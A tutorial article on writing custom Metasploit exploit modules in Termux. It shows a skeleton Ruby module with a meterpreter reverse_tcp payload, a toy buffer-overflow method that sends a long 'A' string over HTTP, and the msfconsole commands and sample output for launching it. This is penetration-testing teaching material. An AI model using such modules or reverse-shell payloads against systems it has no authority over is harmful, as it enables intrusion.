Pen Testing with Custom Exploits in Termux

Metasploit is one of the most versatile tools for pen testing, providing security professionals with a platform to exploit vulnerabilities across multiple platforms. While Metasploit contains a variety of pre-built exploits, writing custom exploit code can offer more flexibility in targeting specific vulnerabilities during a pen test.

In this article, we will guide you through the process of setting up Metasploit in Termux, writing custom exploit code, and testing it on your Android device for effective pen testing. By the end of this guide, you’ll be equipped to create tailored exploits for your pen tests and enhance your ability to uncover vulnerabilities.

For a more detailed introduction to Metasploit, check out our guide on How to Install and Configure Metasploit in Termux. Additionally, you can learn about payload creation by exploring our article on Creating Custom Payloads in Metasploit.

Table of Contents

Step 1: Setting Up the Environment

Before beginning custom exploit development, you’ll need to ensure your Termux environment is properly set up. Metasploit exploits are written in Ruby, so make sure you have the necessary packages installed.

Run the following commands in Termux:

pkg update && pkg upgrade
pkg install unstable-repo
pkg install metasploit
pkg install ruby
gem install bundler

For an in-depth installation process, refer to How to Install and Configure Metasploit in Termux.

Step 2: Understanding Metasploit Exploit Structure

Metasploit exploits follow a specific structure, which includes metadata about the exploit, targets, payloads, and the main exploit logic. Here’s a simplified example of a custom exploit:

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Custom Exploit',
      'Description'    => %q{
        A custom exploit for pen testing.
      },
      'Author'         => [ 'Your Name' ],
      'License'        => MSF_LICENSE,
      'Targets'        => [ ['Linux', {}] ],
      'Payload'        => 'linux/x86/meterpreter/reverse_tcp',
    ))

    register_options(
      [
        OptString.new('RHOST', [true, 'Target host', '']),
        OptString.new('RPORT', [true, 'Target port', '80']),
      ])
  end

  def exploit
    connect
    print_status("Running custom exploit on #{datastore['RHOST']}:#{datastore['RPORT']}")
    # Add exploit logic here
  end
end

This structure is important for pen testing, as it defines how the exploit interacts with the target system. You can learn more about writing Metasploit modules from the official Metasploit Exploit Writing Guide.

Step 3: Writing Your Custom Exploit

Once your environment is ready, start writing your custom exploit by navigating to the appropriate directory in Termux:

cd $HOME/metasploit-framework/modules/exploits
nano custom_exploit.rb

In your exploit, modify the exploit method to suit your pen test. For example, you could write an exploit targeting a vulnerable web service by sending a buffer overflow payload:

def exploit
  connect

  print_status("Sending buffer overflow payload to #{datastore['RHOST']}:#{datastore['RPORT']}")
  buffer = "A" * 1000
  sock.put("GET /#{buffer} HTTP/1.1\r\n\r\n")
  disconnect
end

This kind of custom exploit can be useful for discovering weaknesses in web services during pen tests. Check out more web testing techniques in the OWASP Testing Guide.

Step 4: Testing the Exploit

Now that your exploit is ready, it’s time to test it on a vulnerable system:

Start Metasploit:

msfconsole

Load your custom exploit:

use exploit/custom_exploit

Configure the target options:

set RHOST <target_ip> 
set RPORT 80 
set payload linux/x86/meterpreter/reverse_tcp

Launch the exploit:bashCopy code

run

Test Output:

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] Sending buffer overflow payload to 192.168.1.101:80
[*] Exploit completed, but no session was created.

As part of your pen testing, you may need to adjust the payload or exploit logic based on the target system’s response. You can also enable verbose output for debugging:

set VERBOSE true

Conclusion

Developing custom exploits in Metasploit using Termux offers a unique way to enhance your pen testing capabilities. By following this guide, you can create and test your own exploits, gaining valuable insight into how vulnerabilities can be exploited.

Always remember to follow ethical guidelines during pen testing, and only test exploits in environments where you have permission.

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